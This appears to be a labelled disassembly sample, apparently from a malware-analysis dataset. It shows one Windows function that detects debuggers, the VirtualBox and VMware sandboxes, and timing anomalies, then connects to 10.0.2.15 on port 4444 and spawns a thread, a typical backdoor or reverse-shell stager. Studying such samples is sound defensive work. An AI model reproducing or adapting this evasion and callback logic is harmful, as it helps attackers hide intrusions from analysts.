Function at 0x140001130
Capabilities:
Connect socket
Convert ip address from string
Create thread
Enumerate processes
Initialize winsock library

Disassembly:
sub rsp, 0x458
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x440], rax
mov ecx, 0x202
lea rdx, [rsp + 0x2a0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x14000117d
mov eax, 1
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.1400014e0
add rsp, 0x458
ret
mov qword [rsp + 0x460], rbx
mov qword [rsp + 0x468], rsi
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov esi, 2
test eax, eax
je 0x1400011a6
mov eax, 1
jmp 0x140001239
xor edx, edx
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1400011c0
mov eax, 1
jmp 0x140001239
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x60], 0x238
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000122e
nop word [rax + rax]
lea rdx, str.dbgview.exe
lea rcx, [rsp + 0x8c]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x140001419
lea rdx, str.ollydbg.exe
lea rcx, [rsp + 0x8c]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x140001419
lea rdx, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400011e0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov qword [rsp + 0x450], rdi
test eax, eax
jne 0x140001486
lea rax, str.HARDWAREACPIDSDTVBOX__
xor ebx, ebx
mov qword [rsp + 0x30], rax
lea rdi, [rsp + 0x30]
lea rax, str.HARDWAREACPIDSDTVMware_
mov qword [rsp + 0x38], rax
lea rax, str.SYSTEMCurrentControlSetControlSystemInformation
mov qword [rsp + 0x40], rax
nop dword [rax]
nop dword [rax + rax]
mov rdx, qword [rdi]
lea rax, [rsp + 0x48]
mov r9d, 0x20019
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x14000147b
inc ebx
add rdi, 8
cmp ebx, 3
jb 0x140001280
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov ecx, 0x96
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
sub rax, rbx
cmp rax, 0xc8
ja 0x140001486
xor edx, edx
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001486
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x60], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000135e
lea rdx, str.vboxservice.exe
lea rcx, [rsp + 0x8c]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x14000142c
lea rdx, str.vmtoolsd.exe
lea rcx, [rsp + 0x8c]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x14000142c
lea rdx, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001310
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 1
mov r8d, 6
mov ecx, esi
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000146e
mov ecx, 0x115c
mov word [rsp + 0x48], si
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [rsp + 0x4c]
mov ecx, esi
lea rdx, str.10.0.2.15
mov word [rsp + 0x4a], ax
call qword [sym.imp.WS2_32.dll_inet_pton]
test eax, eax
jle 0x140001465
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x48]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x140001465
lea rax, [rsp + 0x58]
mov qword [0x140005680], rbx
mov qword [rsp + 0x28], rax
lea r8, section..text
xor r9d, r9d
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
jne 0x140001437
mov rcx, qword [0x140005680]
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x140001486
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x140001239
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001486
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x140005680]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
jmp 0x140001491
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
mov qword [0x140005680], 0xffffffffffffffff
jmp 0x140001486
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
mov rdi, qword [rsp + 0x450]
mov rbx, qword [rsp + 0x460]
mov rsi, qword [rsp + 0x468]
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.1400014e0
add rsp, 0x458
ret